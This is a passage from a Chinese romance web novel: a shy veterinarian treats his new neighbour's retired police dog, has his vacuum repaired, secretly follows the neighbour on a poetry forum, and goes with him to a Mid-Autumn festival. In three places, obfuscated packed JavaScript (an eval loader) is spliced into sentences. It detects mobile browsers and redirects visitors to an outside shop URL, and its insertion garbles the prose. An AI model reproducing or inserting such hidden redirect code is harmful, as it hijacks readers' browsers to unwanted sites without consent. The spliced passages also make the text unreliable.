“陶诺诺,你完蛋了,包袱这么重。”林珊出主意,“要不你弄个小号加他?当成网友?” “再说吧。”陶诺迟疑,弄个小号说不定对方根本不通过。 “聚会真不来?”林珊又问。 “嗯,看见那么多人我就电量掉尽了,你自己玩开心。” 林珊没再劝:“行吧,那你好好的,有事一定给我讲。” 挂了电话,陶诺望着一地的面粉、罢工的吸尘器,以及一脸无辜的月饼,一点也不想面对。 可以不收拾吗?陶诺逃避地刷起了手机。 他点开费远洲的朋友圈。 费远洲的微信头像是一个男人侧面的照片截图,从下颌截到胸口,看不到脸。深蓝色领带浅蓝衬衫,喉结露在服帖的衬衫领口处,修长的手指正在操作鼠标,另一只手肘撑在桌上,衬衫袖口挽起,露出手腕粗大的骨节,像是正在会议的状态。 陶诺放大反复观看,觉得应该是费远洲本人,截屏保存了。 费远洲的朋友圈没什么内容,几乎都是官方新闻转发,关于医疗、关于技术工程突破,偶尔夹杂一两篇古诗文的鉴赏,似乎是对这方面颇有兴趣。 裤腿被扯了扯,陶诺抬眼,月饼在拱他。大约是见他一直没动,傻狗想确认一下主人是否还能喘气。 “去,把面粉舔干净。”陶诺轻踹了月饼一脚。 舔干净是不可能的,独自生活的难处就在于,无论怎样的烂摊子都得自己收拾。 陶诺一把揪过月饼,将脸埋进他毛茸茸的皮毛里,生无可恋地闷声长叹:“饼饼啊,我养你何用——” 次日,费远洲又收获了一袋小饼干。这次是两罐,一罐贴着卡通狗头“凯撒专属”,另一罐是简笔头像,费远洲对号入座默认了是自己。 对门地垫上一层白色粉末,半个鞋印拓在边上。 费远洲从手提袋里拿出纸条:抱歉,早上来不及了,下班回来我会清理干净。落款一个挠头流汗苦笑的表情包。 面粉怎么还弄到外面来了,费远洲疑惑地皱了皱眉头,小邻居可真是能折腾。 下午三点,费远洲带着凯撒准时到了医院,小盼将他们直接带进了准备好的诊室。 陶诺正在洗手,或者说正装着在洗手,他早就提前准备好了,只等待着时间一分一秒走向三点。 “陶医生。”费远洲站在门口微微侧身,让凯撒先进,随后才跟进门。 陶诺关掉水龙头,调整好表情,嘴角拉出一点幅度,转身朝费远洲点了点头。 擦干净手,陶诺走到诊台前蹲下身,压低声音像在跟老朋友打招呼:“凯撒,又见面了。” 凯撒耳朵动了动,尾巴随意轻摆了一下,情绪很稳定。 “那咱们就从基本检测开始。”陶诺直接进入主题。 他站在凯撒侧面,观察它的站姿、重心分布以及双耳角度。随后蹲过去,一只手轻轻搭在凯撒的背上,另一只手从后腿膝盖开始,缓慢地一节节往下摸。 “凯撒,放松。”陶诺说话的时候将视线落在狗的耳朵和尾巴,这两个部位是狗的情绪窗口。 凯撒的耳朵转了一下,尾巴没夹,身体也不紧绷。 不得不说,退役警犬的定力比普通狗好太多。 “乖狗狗。”陶诺称赞道,手停在膝关节附近,轻轻按压了一下。 凯撒的后腿微微一缩。 “这里?”陶诺又按了一下,确定位置。 费远洲不近不远地站着,没有打扰,从他的角度,能看见陶诺细软蓬松的发顶,一撮呆毛不服帖地翘了起来。他的手很稳,力度精准,一点没有让凯撒感觉不好。 “凯撒之前有过旧伤?”陶诺问。 “退役前左后腿韧带拉伤过,恢复得不错,但偶尔会复发。” 陶诺“嗯”了一声,继续检查。 他试探着把凯撒的腿轻轻曲起、伸直,反复换了几个角度,每一个动作都会先观察狗的反应。 凯撒全程没有挣扎,只是偶尔回头看费远洲。 “问题不大。”陶诺松开手站起来,转身在电脑上记录,“韧带旧伤,加上最近天气转凉,有点僵硬。不是急性损伤,不需要用药。” 他打字的时候语速很快,跟平时说话完全不一样,像换另一个人。 费远洲隔着诊台坐下:“你跟之前看的医生不太一样。” 陶诺的手指在键盘上停了一下:“哪里不一样?” “他们有的直接让拍片子,有的只摸伤处,而你……”费远洲略微停顿,“先观察,再从脊椎开始往下摸。” 陶诺终于回头看了费远洲一眼,又迅速转回去:“可能每个医生的诊断方式不同……有时候腿的问题不一定是腿,可能是腰,髋关节。”他抿了抿唇,“狗狗不会说话,只能任由人安排,少一些折腾他会舒服一点。” 费远洲看着他后脑勺的那撮呆毛,嘴角弯了一下。 “你很专业,也很细致。”比他想象的更专业,能从动物的角度去考虑。 打字的手又停顿了两秒:“……谢谢。” 陶诺记录完病历,打印出来交给费远洲:“热敷就好,减少剧烈运动,先观察一周。” 随即蹲回凯撒面前,摸了摸它的头:“没事了,真是个好孩子。” 凯撒舔了一下他的手指,陶诺笑着缩手,一抬眼,触碰到费远洲的眼神。 陶诺闪躲了视线,恢复到平时那个不敢看人的状态:“热敷的话,用毛巾……”他把头偏向一边,耳尖微红,“不要……太烫,每天两次,每次十分钟就好。” “好的。”费远洲嘴角噙笑,“记住了,陶医生。” 处理完凯撒的事情,费远洲道谢告别,陶诺送他出门。 “陶医生,”费远洲牵着凯撒忽然回头,“你家吸尘器坏了?” 陶诺习惯性立刻道歉:“对不起,给你添麻烦了,我下班回去就打扫。或者、或者我换个新的垫子,对,换个新的……” 费远洲打断他:“走廊我已经通知物管清理过了,门垫是清洗还是换新的,你自己决定。我不是要跟你说这个,我的意思是,你吸尘器坏了,或许我可以帮你修一修。” 陶诺以为听错:“修?” 费远洲点头:“如果你愿意。” 陶诺没有不愿意,只是怕麻烦对方,而且费远洲一身精英人士模样,会修理小家电? “我晚上有个线上会议,结束以后联系你。”陶诺没拒绝,费远洲便主动定下了时间。 “可是……”陶诺有点不好意思。 费远洲事事周到:“什么也不用准备,你只需要在家就好。” “谢谢费先生。”对方都说到这个份上了,再拒绝就不礼貌了。 - 晚上八点,陶诺家的门被敲响。 费远洲站在门外,穿了一件牛仔外套,袖子卷到手肘,露出精壮的小臂,手里拎着一个工具箱。 陶诺则穿着他的动物印花家居服、猫爪拖鞋,开门的时候手里还捏着吸尘器的管子,脸上沾了一小块灰。 虽然费远洲说了他什么也不用做,但他还是试图想自己捣鼓一下,结果拆到一半发现完全看不懂里面的结构。 费远洲的视线从陶诺的脸滑到他手里的管子:“拆了?” “好奇……拆开看了一下。”陶诺没说自己想动手修来着,“拆不下来,也、也装不回去了。” 费远洲抿唇,没说什么。 两人面对面站着,持续了几秒。 “快、快请进。”陶诺终于意识到自己是主人,赶紧将早已准备好的拖鞋递给费远洲。 费远洲多看了两眼,崭新的男士拖鞋,码数正好。他有异国血统,体格和鞋码都比一般男人大不少,这不可能是陶诺平时的备用。 “新买的?” “下班逛超市……顺、顺手。” 费远洲点点头,没多问。 两家的户型相同,只是同样的面积,陶诺家看起来像小了一半。 超大的布艺沙发就占据了客厅半个空间,软乎乎的垫子上各式各样的卡通抱枕,阳台边上还有一个摇摇椅,看起来主人很会享受。 茶几上摊着勾勾画画的宠物医学期刊,边上两个咬痕累累的玩偶,电视柜旁还有散落的狗玩具。地板上残留着面粉的白色痕迹,吸尘器被拆成几块放在一边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497945|202594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “月饼呢?”费远洲问,家里最闹腾的成员不在,很难让人不在意。 “关阳台上了,它在反省。”陶诺犹豫该先收茶几还是该先给费远洲倒水。 费远洲走近,果然在阳台一角看到趴在地上的哈士奇。月饼听见脚步声,立刻站了起来,隔着门朝费远洲热情地摇动尾巴。 “所以,昨晚发生了什么?”费远洲将工具箱放下,检查了一下吸尘器的电机和滤网,“看起来问题不大,面粉堵了滤网,电机过热保护,清理一下就行。” 陶诺还是先收拾了茶几,再去拿了杯子接水放下,然后就蹲在旁边,看费远洲熟练的操作。 “月饼咬破了面粉袋子,拖着袋子弄得到处都是……我就用吸尘器吸面粉,然后就是你说的那样,堵了……” 费远洲从工具箱拿出一个刷子清理滤网,陶诺直盯着他熟练的长指。 “费先生,你是……工程师吗?” “嗯。”费远洲没抬头,“医疗器械研发。” 陶诺愣了一下,脱口赞叹:“好厉害。” 好像太刻意了,陶诺闭了嘴,想来想去最后憋出一句:“那、那你平时很忙的吧?” “还好,出差多一点。”费远洲把滤网装回去,试了一下开关,吸尘器嗡嗡地转了起来,“好了。” “谢谢。”陶诺接过吸尘器,抱着它站在旁边,“那个……多少钱?我转给你。” 费远洲看他一本正经的模样,咽下拒绝的话,转而道:“跨国医疗器械研发高级工程师,你能付多少钱请他?” 陶诺更不好意思了:“那、那我请你吃饭?费先生喜欢吃什么?” 费远洲看着他,像是在思考什么。 “吃饭就不用了。”他道,“不如你也帮我一个忙。” “可以。”陶诺一仰头。 费远洲笑:“你还不知道是什么事情就可以?” 陶诺又不好意思了,低头道:“那是什么?” 费远洲把工具箱合上:“周末,社区有个中秋活动,我想请你陪我一起。” “啊?你……要去?” 陶诺知道这个活动,手机上有收到通知信息,好像有灯会展、猜灯谜、诗词接龙什么的,他这个社恐压根没关注。 “你应该能看出来,我是混血,我母亲是中国人,她是中文老师。在国外的时候,每年的传统节日她都会在家里过。这是我回国第一次遇上中秋节,想去看看。” 费远洲语气平和,只是在淡淡地叙述,陶诺却从中听出这是对他非常重要的一件事。 “如果你有空的话,可以陪我一起吗?”费远洲再次邀请。 陶诺不想拒绝费远洲,甚至非常想陪他,但内心来讲他又十分不喜欢去人群扎堆。 “那、为什么是我?” “我回国不久,只认识你一个朋友。我虽然对中华诗词有一点研究,但肯定不比你了解。我可能需要你适当的帮我讲解,可以吗?” 朋友?费远洲说他们是朋友? 陶诺被这个词撞得心花怒放:“可以。” 费远洲嘴角弯了弯:“那就这么说定了。” 临走,费远洲站在玄关换鞋,回头看了一眼:“月饼可以放出来了,怪可怜的。” 陶诺这才反应过来,阳台上反省的傻狗已经呜呜叫了好一会儿。他跑去阳台拉开门,月饼冲出来,直奔到费远洲脚边又蹭又叫。 费远洲弯腰摸了摸它的头:“少捣乱,给你主人省点心。” 月饼“嗷呜”一声。 等费远洲离开关上了门,陶诺才对着月饼指指点点:“你倒是会找人说委屈。” 月饼歪了歪头。 陶诺蹲下来抱住它:“你听见没,他说他妈妈是中国人,是中文老师,难怪他中文说这么好。他还说对诗词有研究……” 陶诺忽地想起之前误闯人家时,在笔记本电脑上看见的论坛,背景图里有“墨阁”水印。 陶诺在app上搜了搜,还真搜到个“墨阁”app,是个小众的诗词论坛,电脑网页和手机版同步。 陶诺果断下载,安装,注册,登录一气呵成。 主页有点像微博,用户可以自行选择背景图和展示的句子,折叠起来像古风古韵的明信卡片,点进去是完整内容,大部分是摘录的诗词。 陶诺搜索那首《静夜思》,出来一串帖子,他点开最近发布的一个,打开的页面和那天看见的一模一样。 五言绝句下面还有一行小字:久违了,故乡。 发帖人叫“远行客”。 远行客?‘远行’的远? 陶诺此时的脑子比任何时候都灵活,他翻到主页看远行客的IP,是同城! 陶诺压不住激动,这个取名,这个属地,这个意境,这个“远行客”就是费远洲。 林珊说的网友,这不就是网友了吗! 他迅速关注了远行客,又给静夜思的帖子点了个赞。 陶诺在屋子里跑了两圈,又在沙发上滚来滚去,心跳无法平息。 提了一口气,整个人趴在抱枕堆:“啊——” 沉睡中的凯撒猛地睁眼。 费远洲拧眉朝隔壁方向掀了掀眼皮。 月饼:“嗷呜——” 5. 互关 趁着心情不错,陶诺给露台上的一排薄荷叶浇足了水,又给小番茄苗翻了土加肥。 小番茄苗是秋播的一茬,陶诺第一次种,也不知道三个月后能不能结上小红果。 薄荷倒是长得好,野草似的格外蓬勃,陶诺摘了尖,准备做点儿薄荷碎饼干。 隔壁露台有声音传来。 费远洲在接电话,说的英文。 他的声音不高,一串串单词从嘴里滑出来,清晰又密集。 陶诺不能全听懂,里面夹杂了很多似乎是专业术语,钻进耳朵里像加了密的音符。 但陶诺能听懂费远洲的语气,那种不容抗拒和质疑的命令感,应该是在安排事情,联想到费远洲的那张微信头像,陶诺觉得对面接电话的人可能心理压力有点大。 正想着,忽听费远洲很短促的笑了一声。 好像……也没那么严厉。 “陶医生?”费远洲看向对面露台冒出来的一点儿头发顶。 陶诺原本在浇花,听见声音就蹲了下来,大概是听得太投入,不知不觉往露台边上靠了过去,落在费远洲眼里,像在偷摸听墙角,还没藏好。 陶诺闭了闭眼,再躲下去就真坐实了。 他起身回头,扯着嘴角笑了笑:“我……”一把捞起救命水壶,“我浇花。” 费远洲走近了些:“种了什么?我的露台还没有布置,你有什么好建议吗?” 陶诺看着脚边被浇得“水漫金山”的一盆薄荷,刚刚听费远洲讲电话太专注,一壶水全倒进去了。 费远洲见他又出了神,喊他:“陶医生?” 陶诺猛抬头:“我没有要偷听你打电话。” 费远洲:“……” 陶诺腾地红了脸。 幸好光线不明,费远洲应该看不出来。 费远洲脸上溢着淡淡笑意:“不是什么重要的事。”言外之意,听见了也不要紧。 也是,如果真是重要机密的事情,也不会到外面来讲了。 “陶医生?” “啊……啊?” “露台种花,你有什么建议?”同样高的露台,费远洲高出大半截,深蓝色垂感的家居服贴合着身型,宽厚的胸膛让人无法忽视。 陶诺视线漂浮,无处安放的落在了外墙一处斑驳处。 “薄荷,绿萝,吊兰,多肉……”陶诺一口气报出自己种的懒人植物,“对了,我还种了小番茄,结果子的时候请你吃。” 费远洲看着他映在灯下闪动的眸子:“好,很期待。” 得,嘴快了,陶诺咬了咬舌头:“我、我进去了。” “嗯。”费远洲点点头。 陶诺挥了挥手,转身逃进了客厅。没两秒又退了回来,放下手里的水壶,再次进屋拉上了阳台门。 费远洲终于笑了出来。 回国这半年,在遇到陶诺之后,他笑的频率呈指数增长。 柔和夜色下,银月高悬,洒下的清辉和斑斓的城市灯光融合在一起,照亮人间团圆路。 费远洲朝天空拍了张照,点开墨阁app,将照片发了出去,附一行文字:月是故乡明。 从小受母亲的熏陶,费远洲虽生长在异国,却一直把中国当故土。习千字文、三字经,背唐诗三百首;听母亲讲四大名著的故事、上下五千年厚重历史,折服于中华民族的精神与智慧。 期间也跟随母亲回来过数次,匆匆停留,心向往之,只增不减。 终于争取到常驻国内的工作机会,得偿所愿。 费远洲长指在手机屏幕滑动。 墨阁是个小众的诗词爱好者平台,用户不多,局限热爱。 消息提醒有个红点,一个名叫“夜航船”的网友点赞了他《静夜思》的帖子,并关注了他。 礼尚往来,凡是关注他的网友,费远洲都会互关回去。 他点进夜航船的主页,一片空白。 这没什么,有的人只喜欢浏览,不喜欢发帖。 费远洲随手看了下夜航船的个人资料,IP属地是同城,注册时间……今天?! 原来是个新用户。 陶诺洗完澡,准备跟林珊发信息,墨阁图标出现一个消息红点。 【远行客关注了你】 陶诺盯着界面愣了片刻,一把跳起,冲过去搂住正在吃宵夜的月饼的脖子摇晃:“饼饼你看,他回关我了!他回关我了!” 被晃得呆滞的傻狗嘴里掉出了几颗狗粮。 稍稍平复心情,陶诺点开墨阁后台私信。 【你好,我是夜航船】 远行客没回复,可能没在线。 新发的帖子是一张明月当空的照片。 想到费远洲说起的母亲和近在眼前的中秋节,陶诺点了个赞,在帖子下留言道:人到中秋更深情。 直到陶诺睡下,远行客都没动静。 - 第二天早上遛狗,陶诺没碰见费远洲。 他正常上下班,晚上把薄荷叶洗净烘干,搓成碎后揉进饼干面团里。 饼干烤好,分出一部分装进密封罐子里,陶诺照例把手提袋挂在门把手上。 一晚过去,手提袋仍挂着。 陶诺牵着月饼站在门口,看着对面1202紧闭的房门,凑上前贴着听了听。 “陶医生?”电梯门开,费远洲走出来正好看见这一幕。 “啊……那个……我好像听到凯撒在叫。”陶诺随口胡诌。 费远洲提着一个行李袋,看起来风尘仆仆。月饼热情地迎上去围着他嗅,尾巴可劲甩,完全不把自己当外人。 陶诺扯了扯绳子:“月饼!” 费远洲倒不介意,弯腰挠月饼脑袋:“昨晚没在家,出了趟门,想凯撒了?”话像说给月饼听的,“等我放下行李,凯撒也该出来透透气了。”视线落在门把上,看向陶诺,“又做什么了?” “薄荷饼干,我阳台种的……种的薄荷。”陶诺把手提袋取下来,退开一旁让费远洲开门。 指纹锁“滴滴”拧开,凯撒早已蹲守在门口。 主人回家,它自然也是热情的,只是跟月饼的反应完全不同。尾巴摇动的频率不快不慢,鼻子顶着费远洲的掌心蹭了两下,费远洲轻拍它的头,放下行李袋,凯撒很自然地过去咬起提手,将行李袋带进了房间。 陶诺看得目瞪口呆:“这也……太乖了。”瞧了一眼自家那只连球也不会捡的傻狗,“月饼只会翻行李。” “你忘了,凯撒是退役警犬。”费远洲换好鞋回头,“进来等我一起吗?” “不、不用了。”陶诺退了一步,“我在门口就好。” “我需要换身衣服,得耽搁一会儿。”费远洲一身衬衫西裤,外套一件薄夹克,高挑挺拔,身型完美。 陶诺执意不进门,费远洲道:“那我快一点。” 他边走边脱了外套,一路解完了衬衫扣子,到衣帽间门口的时候,已经开始褪衬衫了。半露的肩胛肌肉惊鸿一瞥,蓬勃的线条让人挪不开眼。 不多会儿,费远洲换好运动套装出来。 “陶医生?”喊了好几声陶诺才回过神。 费远洲指着快被陶诺抓破的手提纸袋:“不是给我的吗?” “啊!”陶诺惊觉,赶忙将皱成一团的纸袋展平整,略微迟疑,“我重新找个袋子。”说着就要回屋去。 “不用。”费远洲拉住他胳膊,“罐子给我就好。” 陶诺机械性地将袋子里的密封罐递给费远洲,费远洲回身放在玄关柜子上。 “谢谢。回来再好好品尝。” “不、不客气。”陶诺只觉被费远洲抓过的地方在发热发烫。 “以后不用挂在门上。”费远洲按下电梯,“发个信息,我到你家来拿。或者,一起品尝?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497946|202594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>陶诺猛一抬头,又迅速偏开脸点了点头:“好。” 费远洲看他细软的头发齐齐抖动,笑道:“不介意的话,你教我做。” “好……啊?” 电梯门开,费远洲先一步跨了进去。 徒留陶诺沉浸在和费远洲一同做饼干的想象中。 - 社区的中秋活动在周六晚上,陶诺下午提前下班回了家。 “你觉得哪件比较好?”陶诺一手提了一件衣服在身上比划,面前的手机开着视频通话,对面是个长发大眼的女生。 林珊手指撑着下巴,一脸严肃地摇头,又摇头。 “都不行吗?我觉得都挺好啊。”陶诺将浅蓝色衬衫提到身前,“这件里面我会搭一件白色T恤。”又换了另一件宽松的条纹针织衫,“这件穿着很舒服,这个天气晚上穿也不会冷。或者刚刚那件衬衫搭毛线马甲也行。” 林珊想翻白眼:“陶诺诺,你是去约会,保暖是要干嘛?” 陶诺被林珊直白的话刺得有点不好意思:“不是约会,没到那种程度,社区活动而已,好多人呢。” “对啊,好多人呢。你居然去‘好多人’的地方。”林珊强调重点,“我这里没社区人多,你拒绝我可干脆。” “那不一样。” “是不一样,有‘费先生’嘛。”林珊叹了口气,“陶诺诺,我提醒你,机会难得你抓紧问,别人家不是单身,又或者对男的根本没兴趣。你在这儿疯狂动心有什么用?到时候有你哭的。” 林珊是好心,担心陶诺头一回遇到让自己主动的人,两眼一抹黑就栽进去。 “知道了,我会问清楚的。”陶诺眼下有更紧急的事,“我到底穿哪件?” 林珊撇嘴:“你忘了上次咱俩一起买的衣服?” 陶诺回忆了一下,那还是刚毕业的时候陪林珊买衣服,逛到一家定制店,在林珊的怂恿下定制了两身。 “那也太不日常了。”陶诺一次没穿过,“会不会不方便啊?” “你们不是逛灯展吗?又不是要做运动。第一次约会,给他印象深刻一点。”林珊极力建议。 陶诺略一思索:“我穿哪一套?” “都好,随你选。” 挂了电话,陶诺把那两套衣服找出来,闲置在衣柜都一年多了。 一套白色垂感纱织衬衫,竹叶刺绣从左胸蜿蜒到后背,金丝线做修饰;另一套是红色修身西服,对开的胸膛两侧同样有刺绣,锦绣流云,双肩飞燕。 两套都有中式风味,莫名跟中秋节日相配。 陶诺拿不定主意。 刚刚林珊让他问问,那就……问问? 陶诺点开墨阁私信。 距离上一次跟远行客打招呼过去了三天,私信仍旧没有回复,不过他的留言倒是有了新评论。 远行客:这句是出自哪里? 问的是陶诺的那句“人到中秋更深情”。 陶诺转到私信。 夜航船:【月到中秋分外明】 夜航船:【人到中秋更深情】 远行客:【没听过这两句,是出自哪首诗?】 对方居然在线! 陶诺握紧了手机,做了三次深呼吸。 夜航船:【不是诗,是谚语,前一句出自古籍。后一句重意境,没有出处】 想了下,陶诺还是坦白:【是我改写的】 远行客:【你很博学】 陶诺被夸得羞愧,幸好面对的是手机屏幕。 夜航船:【节日嘛,容易思亲思乡】 远行客:【希望以后能和你多多交流】 正合陶诺心意。 夜航船:【没问题,一起探讨】 夜航船:【我可以先问个问题吗?】 远行客:【请说】 陶诺看着床上摊着的两件衣服:【你喜欢红色还是白色?】 6. 称呼 陶诺站在穿衣镜前。 镜子里的人有些陌生,不是恪尽职守的陶医生,也不是闲散随意的陶诺诺。 他一身竹叶刺绣的白衫,浅棕色阔腿裤,做宽的裤腰束着一把细腰。腿侧装饰同色布料似裙衫,走动的时候同垂落的腰带一起飘动,雅致翩然,像个俊俏的少年公子。 陶诺提了提宽大的裤腿,当初真是脑门热,怎么就定制了这种像是要去走秀的衣服,日常简直穿不了一点。 好看是好看,实在不方便。 陶诺内心一番挣扎,打算换回常服。 门被敲响,应该是费远洲。 “来了——” 陶诺一面答应,一面慌里慌张地想脱下衣服,可这衣服经不得拉扯,须得一颗颗纽扣小心地解,纽扣是竹叶形状,陶诺一急,尖的一端扎进了指腹,立时见血。 “嘶——呼——”十指连心,陶诺疼得鼻酸。 费远洲在门口等了几分钟:“陶医生?需要帮忙吗?” 嘭——咚—— 哗啦—— “唉哟——” “陶医生?你还好吗?”费远洲终是没忍住,再次敲门。 “来、来了。” 一阵凌乱的脚步声过后,门开了。 “费先生。”陶诺说话略带点儿喘,“我、在收拾,马上就……好。” 眼前一亮,声音渐弱。 费远洲穿着米色中式对开外套站在门口,内搭一件浅绿色纱织长衫,腰间挂着中国结和麦穗,装扮得十分用心。 “在换衣服?”费远洲道,“我来早了。” “啊?嗯。不是,是我晚了。”陶诺只顾悄悄打量费远洲,忘了此刻的自己是怎样一副模样。 连番折腾下来,他脸色泛红,头发微乱,衣服半敞不露的荡开一片薄薄的胸口。裤腰松松地挂在胯骨,要不是有腰带系着恐怕就掉下去了。光溜溜一双脚,一半踩着地板一半踩着冗长的裤腿…… “不是催你,只是想问问你的意见。”费远洲晃了晃手机,“你没回信息。” “啊,抱歉,我没……听到信息提示。”人都已经站门口,陶诺邀请费远洲,“费先生,进来说吧。” 费远洲没有马上进屋,指了指陶诺看着像故意实则无意的一身:“要不,你先把衣服换好?” 陶诺低头,一把拢紧衣襟转身,想着还没招呼人,红着脸回头:“拖鞋在、在……” “这里。”费远洲自己动手打开鞋柜,拿出他专属的大码拖鞋。 “对。”陶诺松了口气,又指向房间,“那我先……那个……”边说边往屋里退,根本没顾脚下,被拖在地上的裤腿绊得一个踉跄。 “小心——” 费远洲看得清晰,反应比陶诺快,长腿一跨就到了身旁,伸手稳稳托住陶诺的腰。 陶诺重心不稳,反手抓紧费远洲胳膊。 “嗷呜,呜呜——”关露台上的月饼扒拉阳台门,要过来凑热闹。 “月饼又犯错了?”费远洲扶起陶诺站定。 陶诺平复着混乱的呼吸,断句都断不明白了:“我换衣、服,它扯、不能……” 费远洲瞥见他衣服的材质:“嗯,确实不能扯。” 刚刚这一绊,陶诺大半个肩膀都滑了出来,也顾不上其他,急匆匆地转身往卧室一头扎了进去。 片刻,后仰着一颗脑袋出来:“费先生,你自便,我很快、就好。” 费远洲微笑着点点头,视线扫到沙发扶手上搭着的一件红色衣服。 费远洲没多想,准备去露台看看月饼,经过茶几,目光落在一大团沾血的纸巾上。 陶诺换了衣服出来,穿回了蓝衬衫。 “陶医生,你受伤了?”费远洲提起一团血色纸巾。 陶诺下意识捏住手指:“扎了一下,不要紧。” “消毒了吗?” 陶诺毫不在意地摆手:“止血了。” 那就是没消毒了,费远洲环顾四周:“你家有医药箱吧?” “有……” 费远洲顺着陶诺视线的落点,自己从电视柜里拿出医药箱,找到酒精瓶和消毒棉。 “你自己来还是我帮你?” “不用了吧。” “坐。” 明明是自己的家,陶诺倒是被对方安排得明明白白。 “哪只手?”费远洲语气温和,却有一种让人拒绝不了的气场。 陶诺乖乖在沙发上坐下,伸出被扎破的手指,红肿的地方有一个很明显的小洞。 “不消毒容易感染,你是医生。”费远洲在消毒棉上倒了酒精,在他受伤的地方轻轻擦拭,“猫挠了还知道消毒,自己扎的怎么不消毒呢?” 也不是不消毒,只是费远洲在等他,陶诺嫌麻烦,不想让对方等太久。 费远洲掀眼看他咬牙忍疼,轻轻朝手指吹了吹气:“我看见你在楼下喂猫。” 陶诺注意力被这话带走:“什、什么时候?” “搬来之前,我那天看房。” 陶诺不知道具体是哪天,他隔三差五都会喂流浪猫。 费远洲想起他那时候的样子,忽然明了,原来是怕疼。 “陶医生,你很善良。”他又往陶诺手指吹了吹,陶诺缩了手。 “可、可以了。”不能再吹了,陶诺已经被吹得心神不宁了。 费远洲收起东西,看了陶诺一眼:“你先前那件衣服更好看。” “是、是吗?”陶诺的注意力来回跳,完全忘了手指疼不疼,“那我……换回去?”又拿起旁边的红色衣服,试着问,“这件呢?” 【你喜欢红色还是白色?】 费远洲莫名想到那个叫夜航船的新网友不久前也问过他,挺巧合。 “白色的更好。”费远洲认真建议,“跟我也搭。”都是中式风,甚至连色系和格调也相配。 陶诺看了下手机时间。 “时间还早,我给你发信息是想跟你商量,方不方便提前去逛逛。”费远洲双手展开,“陶医生,可以用一下你卫生间洗个手吗?” “随便用。” 陶诺看着费远洲进了洗手间。 费远洲穿得更正式,外形也更扎眼。异域的长相,国风的打扮,非常特别,到时候大家的焦点一定都在他身上,那自己穿成走秀也不打紧。 陶诺想得没错,只是低估了自己。 - 活动场地在小区不远处的一个广场,比陶诺预想的规模大。 红灯笼挂满了整条街,广场外围搭建起了小摊铺,既当作隔离,也租给商家售卖商品。有五花八门的小吃、手作和饮料,当然也少不了中秋主题的月饼和桂花酒。 费远洲说提前来逛逛,说的也是这里。 灯展已经亮起,猜灯谜在中心区域,还没开始,人却比想象的多。 陶诺站在入口处,脚步顿了一下。 密集的人影在晃动,嘈杂的笑声,摊贩的叫卖,还有小孩的尖叫,混在一起像一堵无形的墙压了过来。又因为两人优越的长相和出众的装扮,人们纷纷朝他们投来目光。 陶诺下意识后退了半步,肩膀撞上费远洲的胸口。 “怎么了?”费远洲的声音从头顶传来。 “没、没事。”陶诺手心在出汗,“人有点多。” 费远洲没回话,只是往前走了一步,站到了陶诺身侧。他高大的身形挡住了人们对陶诺的打量,也挡住了旁边涌进涌出的人流。 “走边上。”他把陶诺护在里侧,靠着摊位走。 陶诺愣了一下,心口一股暖流散开:“谢谢。” 路过一个糖画摊,师傅正用勺子在大理石板上画兔子。老师傅手艺娴熟,糖为墨,勺为笔,飞龙走凤一气呵成。 陶诺多看了两眼。 “想要哪个?”费远洲问。 “不、不用,我就是看看。” “就这只兔子。”费远洲掏出手机扫码付款。 陶诺接过糖画兔子,薄薄的糖片在灯光下透出琥珀色的光,他朝天空举起,圆月也渲染上了琥珀色。 费远洲的脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497947|202594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忽地出现在糖片后:“不吃吗?” 陶诺伸舌头只舔了一口:“好甜。”然后便一直拿在手里。 两人绕着摊铺进入了诗词接龙的活动区域,活动是积分制,答对一题盖一个明月印章,最后拿卡到兑换处兑奖品。 报名自由,可以单人,也可以组团,但只对应一张卡。 费远洲在工作人员那里登记,工作人员多看了他一眼。 “我们两个人一起。”费远洲指陶诺。 两人登记完毕,进入规定区域。 一排排架子上全是各式各样花灯,参加者随意选择一盏取下,到一旁的工作人员那里抽题目,拿到题目后要在一分钟内给出答案。 “喜欢哪个?”费远洲问陶诺。 “都好看。”陶诺眼里五彩斑斓。 一路走过去,费远洲取下了一盏兔子灯。 诗词接龙有两种,一种是接上下句,还有一种是接首尾字。 费远洲选择接上下句。 工作人员拿出一个纸箱子,里面装着上句的纸条。 费远洲让陶诺去抽。 两人过来的时候,周围已经围起了一圈人,都想看看异国长相的费远洲答不答得出来。 陶诺被这么多人看着,有些紧张。 “一起。”费远洲带着他手腕,伸进了纸箱。 温热的手掌隔着衣服在发烫,陶诺更紧张了,挑都没挑,迅速拿了一张纸条出来。 工作人员接过来读:“雄兔脚扑朔,雌兔眼迷离。” 是《木兰诗》里的句子。 陶诺看向费远洲。 费远洲微微提唇,说出了正确的下句:“双兔傍地走,安能辨我是雄雌。” 